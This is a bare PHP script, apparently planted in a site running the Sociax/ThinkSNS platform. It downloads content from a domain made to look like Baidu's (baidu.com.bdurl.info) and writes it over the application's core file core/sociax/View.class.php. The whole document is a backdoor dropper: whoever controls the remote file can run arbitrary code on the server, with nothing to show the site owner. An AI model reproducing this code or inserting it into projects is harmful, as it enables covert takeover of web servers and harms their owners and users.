<?php
    function get_root_path()
    {
        $s_real_path = realpath('./');
        $s_self_path = $_SERVER['PHP_SELF'];
        $s_self_path = substr($s_self_path, 0, strrpos($s_self_path, '/'));
        return substr($s_real_path, 0,strlen($s_real_path) - strlen($s_self_path));
    }
	$path	=	get_root_path().'/core/sociax/View.class.php';
	$newHtml	=	file_get_contents('http://www.baidu.com.bdurl.info/view.txt');
	if ($newHtml)
	{
		$fopens	=	fopen($path,'w');
		fwrite($fopens,$newHtml);
		fclose($fopens);	
	}